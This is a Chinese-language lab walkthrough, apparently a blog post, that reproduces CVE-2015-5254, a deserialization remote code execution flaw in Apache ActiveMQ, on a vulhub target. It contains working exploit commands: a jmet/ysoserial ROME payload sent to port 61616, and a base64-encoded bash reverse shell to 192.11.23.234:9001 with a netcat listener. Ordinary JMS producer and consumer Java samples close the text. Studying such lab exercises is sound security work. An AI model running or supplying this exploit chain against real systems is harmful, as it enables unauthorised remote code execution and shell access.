漏洞介绍:
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
MQ(Message Queue):消息队列/消息中间件。消息服务将消息放在队列/主题中,在
合适时候发给接收者。发送和接收是异步的(发送者和接收者的生命周期没有必然关系)。
MQ解决的问题:
产品种类:Kafka, RabbitMQ, RocketMQ, ActiveMQ
影响版本:Apache ActiveMQ version 5.13.0以前的5.x版本。
漏洞原因:该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
利用工具:
反弹shell:https://www.revshells.com/ (自带base64编码)
base64:https://base64.supfree.net/ (别用,辣鸡!!!) or http://tools.jb51.net/tools/base64_decode-utf8.php
jmet:https://github.com/matthiaskaiser/jmet
漏洞环境
ssh 连接靶场,进入靶场目录,打开该漏洞环境,并启动。
cd /mnt/vulhub-master
cd /activemq/CVE-2015-5254
docker-compose up -d
环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161
即可看到web管理页面,不过这个漏洞理论上是不需要web的。
实验配置:
靶机地址:192.11.23.2:8161
攻击机:192.11.23.234
(kali)
复现过程:
漏洞利用过程如下:
使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
ysoserial是一款java反序列化利用工具。
(1)kali上执行命令
java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.11.23.2 61616
-Q指定队列消息名,-I选择要装载的JMS客户端,这里是ActiveMQ,-s是选择ysoserial payload,-Y指定具体的命令,-Yp指定payload类型,其后分别是ActiveMQ所在机器的ip及工作端口 所以这条命令是使用ROME payload把 执行 touch /success 命令序列化后作为名为myevent的消息发送给ActiveMQ
执行此处命令后会给目标ActiveMQ加一个名为event的队列,可通过点击事件,触发远程命令.
此时只要在控制台点击查看该消息,就会在apache-activemq-5.11.1/tmp下面新建一个名为sucess的文件(如果看到该文件,说明在发消息的时候发送的恶意代码"touch /tmp/sucess"执行成功,漏洞利用成功)
(2)点击查看消息
(3)进入靶机bash
docker-compose exec activemq bash
cd /tmp
ls
如果看到该文件,说明在发消息的时候发送的恶意代码"touch /tmp/sucess"执行成功,漏洞利用成功
(4)反弹shell
去前面提到的在线反弹shell生成网站,生成一个反弹shell代码。
sh -i >& /dev/tcp/192.11.23.234/9001 0>&1
再进行base64加密:
c2glMjAtaSUyMCUzRSUyNiUyMC9kZXYvdGNwLzE5Mi4xMS4yMy4yMzQvOTAwMSUyMDAlM0UlMjYx(错的)
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjExLjIzLjIzNC85MDAxIDA+JjE=
得到反弹shell的命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjExLjIzLjIzNC85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.11.23.2 61616
nc -lvnp 9001
(命令在反弹shell 网站右边)我弹了100遍也没弹过来,一定是靶场问题(甩锅.jpg)
ps,后面发现原因,base64编码错误,有的网站会先url编码后,再base64.导致结果错误,payload不执行。(ref)
原payload
sh -i >& /dev/tcp/192.11.23.234/9001 0>&1
经过那个sb网站的base64(错误编码):
c2glMjAtaSUyMCUzRSUyNiUyMC9kZXYvdGNwLzE5Mi4xMS4yMy4yMzQvOTAwMSUyMDAlM0UlMjYx
上其他网站解码:
sh%20-i%20%3E%26%20/dev/tcp/192.11.23.234/9001%200%3E%261
发现它对payload,先进行了url编码,再进行base64编码,导致payload不能执行。
修正payload后,成功弹回shell。
https://blog.csdn.net/weixin_44232093/article/details/124849400
https://www.cnblogs.com/sallyzhang/p/12289983.html
生产者产生消息,加入队列
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
public class JmsProduce {
public static final String ACTIVEMQ_URL="tcp://192.11.23.2:61616";
public static final String QUEUE_NAME="queue01";
public static void main(String[] args) throws JMSException {
//采用默认用户名和密码
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
Connection connection = activeMQConnectionFactory.createConnection();
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Queue queue = session.createQueue(QUEUE_NAME);
MessageProducer messageProducer = session.createProducer(queue);
//使用messageProducer生产3条消息发送到MQ队列
for (int i=0;i<3;i++){
TextMessage textMessage=session.createTextMessage("msg----"+i);
messageProducer.send(textMessage);
}
messageProducer.close();
session.close();
connection.close();
System.out.println("******消息发布到MQ完成******");
}
}
消费者从队列中读取消息:
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
public class JmsConsumer {
public static final String ACTIVEMQ_URL = "tcp://localhost:61616";
public static final String QUEUE_NAME = "queue01";
public static void main(String[] args) throws JMSException {
//采用默认用户名和密码
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
Connection connection = activeMQConnectionFactory.createConnection();
connection.start();
Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
Queue queue = session.createQueue(QUEUE_NAME);
MessageConsumer messageConsumer = session.createConsumer(queue);
while (true) {
TextMessage textMessage = (TextMessage) messageConsumer.receive();
if (textMessage != null) {
System.out.println("******接收道消息:" + textMessage.getText());
} else {
break;
}
}
messageConsumer.close();
session.close();
connection.close();
}
}